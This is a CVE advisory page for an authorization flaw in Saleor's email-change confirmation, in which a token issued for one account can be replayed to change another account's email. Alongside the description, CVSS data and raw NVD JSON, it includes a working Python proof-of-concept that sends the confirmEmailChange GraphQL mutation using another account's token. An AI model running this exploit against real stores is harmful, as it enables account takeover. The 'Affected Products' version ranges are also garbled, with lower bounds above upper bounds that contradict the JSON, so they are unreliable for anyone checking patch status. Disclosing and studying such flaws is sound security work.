CVE-2026-35407

Description

Saleor is an e-commerce platform. From 2.10.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, a business-logic and authorization flaw was found in the account email change workflow, the confirmation flow did not verify that the email change confirmation token was issued for the given authenticated user. As a result, a valid email-change token generated for one account can be replayed while authenticated as a different account. The second account’s email address is then updated to the token's new_email, even though that token was never issued for that account. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:saleor:saleor:3.23.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:saleor:saleor:3.23.0:a0:*:*:*:*:*:* - VULNERABLE

Saleor >= 2.10.0, < 3.23.0a3

Saleor >= 3.23.0a0, < 3.22.47

Saleor >= 3.22.0, < 3.21.54

Saleor >= 3.21.0, < 3.20.118

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target GraphQL endpoint
url = "https://target-saleor-instance.com/graphql/"

# The email change token obtained from Account A (leaked or controlled)
leaked_token = "VALID_EMAIL_CHANGE_TOKEN_FROM_ACCOUNT_A"

# GraphQL Mutation to confirm email change
mutation = """
mutation confirmEmailChange($token: String!) {
    confirmEmailChange(token: $token) {
        user {
            email
        }
        errors {
            field
            message
        }
    }
}
"""

# Attacker is authenticated as Account B (Target Account)
# Replace with valid JWT or Session Cookie for Account B
headers = {
    "Authorization": "Bearer JWT_TOKEN_OF_ACCOUNT_B",
    "Content-Type": "application/json"
}

variables = {
    "token": leaked_token
}

# Sending the request to confirm email change for Account B using Account A's token
response = requests.post(url, json={"query": mutation, "variables": variables}, headers=headers)

# Output the result
if response.status_code == 200:
    print("[+] Attack Successful!")
    print(response.json())
else:
    print("[-] Attack Failed")
    print(response.text)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35407
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35407
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35407/
[4] VulDB https://vuldb.com/cve/CVE-2026-35407
[5] https://github.com/saleor/saleor/commit/7be352fa8c35875d6e66d36493ca7c14c101bd64
[6] https://github.com/saleor/saleor/commit/cdb66da97abb7c86939e384914cd8d9194f378e8
[7] https://github.com/saleor/saleor/commit/d6a94e95bd77f3f733fa66afd1b1ac72e863ca2a
[8] https://github.com/saleor/saleor/commit/e42aa4d6e588982e78942b033af051c8ec8f43fa
[9] https://github.com/saleor/saleor/commit/f0371bdd4cafcc841f1a9e7049cead6133bf7464
[10] https://github.com/saleor/saleor/security/advisories/GHSA-hwph-9537-mc3p

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35407", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:24.040", "lastModified": "2026-04-15T17:51:20.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saleor is an e-commerce platform. From 2.10.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, a business-logic and authorization flaw was found in the account email change workflow, the confirmation flow did not verify that the email change confirmation token was issued for the given authenticated user. As a result, a valid email-change token generated for one account can be replayed while authenticated as a different account. The second account’s email address is then updated to the token's new_email, even though that token was never issued for that account. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.10.0", "versionEndExcluding": "3.20.118", "matchCriteriaId": "276853A9-A9F2-46A0-8B3F-1C4706BD134C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.20.119", "versionEndExcluding": "3.21.54", "matchCriteriaId": "64FECA0E-114C-4A68-AA3E-13183355DDF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.22.0", "versionEndExcluding": "3.22.47", "matchCriteriaId": "ABB6E342-967D-4F4D-9869-BC24C630ACEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:*:*:*:*:*:*:*", "matchCriteriaId": "1EB90C57-00EC-41EA-9939-82216A599442"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:a0:*:*:*:*:*:*", "matchCriteriaId": "E607B7FA-FB1C-4669-96E6-E99E85834BC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:a1:*:*:*:*:*:*", "matchCriteriaId": "3C2CDF84-B9E3-4FA6-9961-AB7F4C751AF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:a2:*:*:*:*:*:*", "matchCriteriaId": "5B0A330B-61A2-4A20-B795-4F2563917AC2"}]}]}], "references": [{"url": "https://github.com/saleor/saleor/commit/7be352fa8c35875d6e66d36493ca7c14c101bd64", "source": "[email protected]", "tags": [" ... (truncated)